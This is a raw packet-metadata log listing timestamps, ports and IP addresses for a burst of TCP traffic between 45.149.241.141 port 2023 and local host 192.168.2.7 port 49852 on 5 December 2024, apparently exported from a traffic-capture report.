Dec 5, 2024 10:39:25.859133959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.859179020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.860194921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.860232115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.860272884 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.861341000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.861428976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.861466885 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.862479925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.862543106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.862587929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.863698959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.863820076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.863867044 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.864748955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.864852905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.864896059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.865869999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.865983009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.866030931 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.867063999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.867091894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.867135048 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.868185997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.868321896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.868364096 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.869343996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.869525909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.869570017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.870464087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.870554924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.870600939 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.871632099 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.871726036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.871766090 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.872769117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.872832060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.872872114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.873915911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.874044895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.874087095 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.875050068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.875135899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.875175953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.876260996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.876334906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.876375914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.877324104 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.877451897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.877490997 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.878479958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.878638029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.878680944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.879605055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.879720926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.879764080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.880814075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.880914927 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.880964041 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.881922007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.882016897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.882055998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.883078098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.883210897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.883255005 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.884210110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.884454966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.884501934 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.885349989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.885440111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.885483980 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.886897087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.886977911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.887023926 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.887718916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.887861967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.887907982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.888813019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.888894081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.888940096 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.889987946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.890064955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.890110016 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.891099930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.891218901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.891266108 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.892188072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.025429964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.025535107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.025651932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.026000023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.026043892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.026210070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.027184963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.027229071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.027282953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.028229952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.028297901 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.028338909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.029416084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.029460907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.029503107 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.030544996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.030589104 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.030699968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.031713963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.031763077 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.031779051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.032808065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.032849073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.032937050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.034123898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.034171104 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.034179926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.035166025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.035206079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.035243034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.036309958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.036346912 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.036382914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.037431002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.037477970 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.037544966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.038564920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.038614988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.038690090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.039699078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.039752007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.039841890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.041028976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.041070938 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.041146040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.042085886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.042099953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.042129040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.043189049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.043239117 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.043349981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.044399023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.044414043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.044511080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.045409918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.045456886 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.045542955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.046520948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.046566010 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.046720028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.047987938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.048002005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.048063993 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.049185991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.049230099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.049314976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.050055981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.050102949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.050154924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.051090956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.051139116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.051201105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.052309990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.052325010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.052349091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.053575039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.053617954 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.053678989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.054687023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.054733038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.054790020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.055803061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.055846930 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.055913925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.056756973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.056802988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.056973934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.057950020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.058003902 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.058070898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.059058905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.059102058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.059132099 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.060242891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.060288906 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.060380936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.061599970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.061614037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.061640024 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.062515020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.062551975 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.062608957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.063796043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.063821077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.063843966 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.064806938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.064847946 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.064914942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.066083908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.066134930 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.066272974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.067069054 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.067111015 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.067153931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.068197966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.068243980 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.068317890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.069402933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.069430113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.069447994 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.070522070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.070574045 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.070664883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.071609020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.071655989 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.071738958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.072812080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.072865009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.072978020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.074002028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.074054003 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.074110031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.075215101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.075264931 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.075342894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.076342106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.076390028 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.076534986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.077531099 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.077635050 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.077919960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.078670979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.078712940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.078785896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.079710007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.079751968 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.079786062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.080852032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.080899000 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.080960989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.081945896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.081993103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.082047939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.083110094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.083153963 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.083292007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.084253073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.084292889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.084302902 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.085360050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.085419893 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.217549086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.217672110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.217751026 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.218198061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.218211889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.218271017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.219233990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.219542027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.219556093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.219588995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.220546961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.220560074 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.220608950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.221695900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.221738100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.221791983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.222841978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.222893953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.222990036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.223964930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.224014997 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.224101067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.225177050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.225189924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.225228071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.226217031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.226229906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.226259947 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.227302074 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.227322102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.227338076 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.227926970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.227967978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.228111029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.229697943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.229739904 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.229818106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.230221987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.230259895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.230271101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.231410027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.231434107 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.231448889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.232485056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.232527018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.232618093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.233623981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.233665943 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.233808041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.234796047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.234847069 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.234987974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.235918045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.235980988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.236020088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.237458944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.237520933 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.237591982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.238248110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.238286972 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.238312960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.239357948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.239396095 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.239478111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.240541935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.240556955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.240585089 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.241655111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.241697073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.241784096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.242778063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.242820024 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.242830992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.243936062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.243974924 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.244008064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.245114088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.245160103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.245177984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.246212006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.246249914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.246316910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.247354031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.247392893 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.247428894 CET	2023	49852	45.149.241.141	192.168.2.7
